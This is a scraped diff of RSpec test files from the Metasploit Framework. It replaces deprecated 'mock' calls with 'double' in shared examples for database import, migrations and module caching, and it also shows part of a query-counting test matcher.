"Expected ##{@options[:method_name]} to not cause #{@options[:expected_query_count]} database queries but it actually caused #{@queries.length} queries:" + friendly_queries
|
||||
else
|
||||
"Expected ##{@options[:method_name]} to not query the database but it actually caused #{@queries.length} queries:" + friendly_queries
|
||||
end
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
def friendly_queries
|
||||
@queries.map do |query|
|
||||
"\n (#{query[:name]}) #{query[:sql]}"
|
||||
end.join
|
||||
end
|
||||
|
||||
def filter_query(query)
|
||||
query[:name] == 'SCHEMA' || looks_like_schema?(query[:sql])
|
||||
end
|
||||
|
||||
def schema_terms
|
||||
['FROM sqlite_master', 'PRAGMA', 'SHOW TABLES', 'SHOW KEYS FROM', 'SHOW FIELDS FROM', 'begin transaction', 'commit transaction']
|
||||
end
|
||||
|
||||
def looks_like_schema?(sql)
|
||||
schema_terms.any? { |term| sql.include?(term) }
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -1,6 +1,6 @@
|
|||
shared_context 'Msf::UIDriver' do
|
||||
let(:driver) do
|
||||
mock(
|
||||
double(
|
||||
'Driver',
|
||||
:framework => framework
|
||||
).tap { |driver|
|
||||
|
|
|
@ -319,7 +319,7 @@ shared_examples_for 'Msf::DBManager::ImportMsfXml' do
|
|||
|
||||
context 'with :workspace' do
|
||||
let(:workspace) do
|
||||
mock(':workspace')
|
||||
double(':workspace')
|
||||
end
|
||||
|
||||
before(:each) do
|
||||
|
@ -469,7 +469,7 @@ shared_examples_for 'Msf::DBManager::ImportMsfXml' do
|
|||
context 'specialization block' do
|
||||
let(:returned_hash) do
|
||||
{
|
||||
:specialized => mock('Value')
|
||||
:specialized => double('Value')
|
||||
}
|
||||
end
|
||||
|
||||
|
|
|
@ -21,7 +21,7 @@ shared_examples_for 'Msf::DBManager::Migration' do
|
|||
end
|
||||
|
||||
it 'should return migrations that were ran from ActiveRecord::Migrator.migrate' do
|
||||
migrations = [mock('Migration 1')]
|
||||
migrations = [double('Migration 1')]
|
||||
ActiveRecord::Migrator.stub(:migrate => migrations)
|
||||
|
||||
migrate.should == migrations
|
||||
|
@ -128,7 +128,7 @@ shared_examples_for 'Msf::DBManager::Migration' do
|
|||
descendants = []
|
||||
|
||||
1.upto(2) do |i|
|
||||
descendants << mock("Descendant #{i}")
|
||||
descendants << double("Descendant #{i}")
|
||||
end
|
||||
|
||||
ActiveRecord::Base.stub(:descendants => descendants)
|
||||
|
|
|
@ -73,11 +73,11 @@ shared_examples_for 'Msf::ModuleManager::Cache' do
|
|||
end
|
||||
|
||||
let(:class_or_module) do
|
||||
mock('Class<Msf::Module> or Module', :parent => namespace_module)
|
||||
double('Class<Msf::Module> or Module', :parent => namespace_module)
|
||||
end
|
||||
|
||||
let(:namespace_module) do
|
||||
mock('Msf::Modules::Namespace', :parent_path => parent_path)
|
||||
double('Msf::Modules::Namespace', :parent_path => parent_path)
|
||||
end
|
||||
|
||||
context 'with existing :path' do
|
||||
|
@ -435,7 +435,7 @@ shared_examples_for 'Msf::ModuleManager::Cache' do
|
|||
|
||||
context 'with reference_name' do
|
||||
before(:each) do
|
||||
typed_module_set[reference_name] = mock('Msf::Module')
|
||||
typed_module_set[reference_name] = double('Msf::Module')
|
||||
end
|
||||
|
||||
it 'should not change reference_name value' do
|
||||
|
@ -469,7 +469,7 @@ shared_examples_for 'Msf::ModuleManager::Cache' do
|
|||
|
||||
it 'should reset #module_info_by_path' do
|
||||
# pre-fill module_info_by_path so change can be detected
|
||||
module_manager.send(:module_info_by_path=, mock('In-memory Cache'))
|
||||
module_manager.send(:module_info_by_path=, double('In-memory Cache'))
|
||||
|
||||
module_info_by_path_from_database!
|
||||
|
||||
|
|
|
@ -91,7 +91,7 @@ shared_examples_for 'Msf::ModuleManager::Loading' do
|
|||
end
|
||||
|
||||
let(:namespace_module) do
|
||||
mock('Namespace Module', :parent_path => parent_path)
|
||||
double('Namespace Module', :parent_path => parent_path)
|
||||
end
|
||||
|
||||
let(:options) do
|
||||
|
|
Loading…
Reference in New Issue